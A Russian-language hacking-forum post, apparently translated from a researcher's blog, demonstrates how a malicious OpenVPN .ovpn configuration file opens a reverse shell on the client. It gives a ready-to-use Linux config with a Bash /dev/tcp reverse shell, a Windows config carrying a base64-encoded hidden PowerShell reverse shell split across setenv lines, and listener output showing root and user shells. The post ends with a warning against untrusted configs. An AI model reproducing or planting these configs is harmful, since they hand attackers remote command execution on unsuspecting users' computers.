Reverse Shell через конфигурационный файл OpenVPN

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

Проводя фоновое исследование OpenVPN, я наткнулся на интересный вопрос на Stack Exchange(Is it okay to use random OpenVPN config files?).

53593b667a3d8d112d2fb.png

Пользователь, похоже, не спрашивает, опасно ли использовать бесплатные сервисы OpenVPN. Вместо этого, пользователь спрашивает, опасно ли использовать .ovpn файлы сами по себе. Поскольку не было удовлетворительного ответа, я углубился в это, и я пришел к выводу, что да, ненадежные файлы ovpn довольно опасны.

Давайте начнем. Ovpn файл - это файл конфигурации, предоставляемый клиенту или серверу OpenVPN. Файл содержит все детали, о VPN-соединении: какие удаленные серверы для подключения и шифрования использовать, какие протоколы использовать и т. д.

В самой простой форме файл ovpn выглядит следующим образом:


Код:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun

Это направляет клиенту соединяться с сервером 192.168.1.245 без аутентификации или шифрования и устанавливать интерфейс tun для связи между клиентом (10.200.0.2) и сервером (10.200.0.1). Для этого блога полезен трехстрочный пример, но реальные файлы ovpn могут легко превышать сотни строк, когда используются более сложные функции.

В принципе, команда выполняет любые скрипты, которые вы укажите . Если жертва использует версию Bash, которая поддерживает /dev / tcp, то получение обратной оболочки тривиально. Следующий файл ovpn будет обратной оболочкой 192.168.1.218:8181.

Код:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”


Когда этот файл ovpn используется, пользователь не поймет, что что-то не так. VPN соединение устанавливается нормально и трафик идет. В журнале есть только два указания, которые возможно указывают, что, что-то происходит. Я выделил их для более легкого чтения:

Код:
hu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server mode
Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018
Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08
Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!
Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 opened
Thu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500
Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init
Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194
Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jun 7 12:28:34 2018 Initialization Sequence Completed
Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)
root@client:/home/client/openvpn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@client:/home/client/openvpn#

Bash делает эту атаку легкой в дистрибутивах Linux, таких как Ubuntu. Однако в Windows нет аналогичной функции /dev / tcp. Нам придется немного потрудиться, чтобы сгенерировать обратную оболочку для хоста Windows. К счастью, Дэйв Кеннеди из TrustedSec написал небольшую обратную оболочку powershell(trustedsec/social-engineer-toolkit), которую мы можем использовать. Мы можем передать весь скрипт в командной строке. Однако, нам нужно будет кодировать сценарий base64, чтобы избежать необходимости вставлять Escape-коды. У нашего старого друга Карлоса Переса есть сценарий под названием ps_encoder.py(darkoperator/powershell_scripts), он сделает кодировку за нас.

Однако существует проблема. Закодированный обратный сценарий оболочки имеет длину более 4000 символов, а OpenVPN имеет ограничение в 256 символов. Чтобы обойти это, мы можем использовать команду setenv, чтобы разделить скрипт, а затем рекомбинировать его в команде up. Рассмотрим следующий ovpn файл :

Код:
ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’
setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’
setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’
setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’
setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’
setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’
setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’
setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’
setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’
setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’
setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’
setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’
setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’
setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’
setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’
setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’
setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’
setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’
setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’
up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’


Вы можете видеть, что кодированный сценарий был разделен на несколько, командой setenv. В самом конце, скрипт просто запускает все переменные окружения вместе. Как и в нашем примере Linux, есть замечание о — script-security при первом запуске OPENVPN GUI:

1eb4fe5fe39c9b8b1638d.png

Опять же, даже если пользователь замечает это или понимает последствия, слишком поздно:

Код:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>


Использование ненадежных файлов ovpn опасно. Вы позволяете незнакомцу выполнять произвольные команды на вашем компьютере.

Таким образом, если вы не знаете, как читать файлы ovpn, я предлагаю вам быть очень осторожными в отношении файлов конфигурации, которые вы используете.
 
Похожие темы
Admin Интересно Reverse shell через ICMP. Опубликован руткит под лицензией MIT, который обходит все защиты Linux. Новости в сети 0
T Reverse-shell upgrade Полезные статьи 0
Admin Статья Разведка с geo2ip и reverse-whois OSINT 0
F Модифицированный Evilginx2 Modified Evilginx2 / Reverse Proxy Phishing Ищу работу. Предлагаю свои услуги. 0
U Интересно Reverse Engenireeng - вскрываем протектор Enigma Полезные статьи 0
E need shell Аккаунты: сервисы, сайты, соц. сети 0
L Java - Получаем SHELL через Minecraft плагин Программирование 7
NickelBlack Jex Bot V5 | Auto Shell Bot Готовый софт 2
T Ani Shell v.1.3 Готовый софт 1
G Заливка WEB-Shell WSO на уязвимые сайты. Для новичков )) Полезные статьи 2
G Skipfish - Сканер безопасности веб-приложений для определения XSS, SQL инъекции, а также Shell инъекции Уязвимости и взлом 0
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
I Огромная подборка софта для работы с SHELL Готовый софт 2
devqp Статья Эксплуатация уязвимости Magento CVE-2022-24086: RCE через кассу Уязвимости и взлом 0
Admin UFOLABSNEWS Обнаружена уязвимость NemoClaw, позволяющая злоумышленникам контролировать ИИ-агентов через скрытые инструкции. Новости в сети 0
Admin UFOLABSNEWS Фишинг через QR-коды обходит корпоративные системы безопасности. Новости в сети 0
Admin UFOLABSNEWS Критическая уязвимость в Ruby on Rails позволяет злоумышленникам читать файлы сервера через загрузку изображений. Новости в сети 0
devqp Статья Обход детектирования root-прав и эмуляции в Android-приложениях через Frida Уязвимости и взлом 1
devqp Статья Техника перехвата корпоративных платежей через Business Email Compromise Фишинг, мошенничество, СИ 0
devqp Статья Автоматизация sqlmap через ChatGPT для пентеста SQL-инъекций Уязвимости и взлом 0
devqp Статья Скрытый автозапуск Amadey: анализ недетектируемого метода через реестр Windows Вирусология 0
Admin Интересно Вредоносная кампания распространяет поддельное приложение Claude через рекламу Bing. Новости в сети 0
devqp Статья Схема двойной прибыли на eBay через сервисы доставки из США Фишинг, мошенничество, СИ 0
Admin UFOLABSNEWS Новая атака MemGhost позволяет внедрять ложные воспоминания в ИИ-ассистентов через одно письмо. Новости в сети 0
Admin UFOLABSNEWS Хакеры массово взламывают сайты через 15 уязвимостей в CMS. Новости в сети 0
Admin UFOLABSNEWS Уязвимость GhostCommit позволяет украсть пароли через PNG-файлы. Новости в сети 0
devqp Статья Подключение к корпоративным VPN с Linux VPS через OpenConnect и VPN-Slice Полезные статьи 0
devqp Статья Сетевой пивитинг через CrackMapExec, Meterpreter и Proxychains Уязвимости и взлом 0
Admin UFOLABSNEWS Критическая уязвимость в Zimbra позволяет выполнять вредоносный код через письма. Новости в сети 0
Admin UFOLABSNEWS CISA подтвердила атаки через уязвимости в JoomShaper и Langflow. Новости в сети 0
devqp Статья Обход процедуры верификации InfraGard через компрометацию персональных данных Уязвимости и взлом 0
devqp Статья Автоматизация загрузки файлов с шифрованием через transfer.sh Полезные статьи 0
devqp Статья Блокировка WebRTC через UFW для защиты реального IP в Linux Анонимность и приватность 0
devqp Статья Создание анонимных аккаунтов Telegram через виртуальные номера и облачные эмуляторы Анонимность и приватность 0
devqp Статья Реализация крипто-клиппера с заменой адресов через расстояние Левенштейна Вирусология 0
devqp Статья Геофильтрация трафика на сервере CentOS через xt_geoip и iptables Полезные статьи 0
Admin UFOLABSNEWS Китайские хакеры атакуют университеты через уязвимости в почтовых серверах. Новости в сети 0
devqp Статья Универсальный системный промпт для кодинга через ИИ (Cursor/ChatGPT) Полезные статьи 0
Admin UFOLABSNEWS Хакеры получили доступ к переписке британских чиновников через уязвимость Fortinet. Новости в сети 0
Admin UFOLABSNEWS Новый Android-вирус RedWing предлагается в аренду через Telegram. Новости в сети 0
Admin UFOLABSNEWS Злоумышленники используют DEBULL для фишинга через Microsoft Device-Code Flow. Новости в сети 0
Admin UFOLABSNEWS Критическая уязвимость в Gitea позволяла получить административные права через подмену заголовков. Новости в сети 0
Admin UFOLABSNEWS Хакеры начали атаковать уязвимость в Adobe ColdFusion через два часа после публикации патча. Новости в сети 0
Admin UFOLABSNEWS Хакеры похитили 20 миллионов долларов через манипуляции с голосованием в BonkDAO. Новости в сети 0
Admin UFOLABSNEWS Anthropic тайно отслеживала пользователей из Китая через Claude Code. Новости в сети 0
Admin UFOLABSNEWS Луна медленно удаляется от Земли, а Солнце стареет — что ждёт нашу планету через миллиарды лет. Новости в сети 0
Admin UFOLABSNEWS Исследователи разработали метод TrojPix для утечки данных с изолированных систем через видеокабель. Новости в сети 0
Admin UFOLABSNEWS Минцифры может вернуть подтверждение действий через смс и мессенджер «Макс» в антифрод-пакет. Новости в сети 0
Admin UFOLABSNEWS Китайская группа Mustang Panda атаковала индийские госструктуры через подмену DLL. Новости в сети 0
Admin UFOLABSNEWS Вредонос Umbrij использует OAuth для доступа к Gmail через Google API. Новости в сети 0

Название темы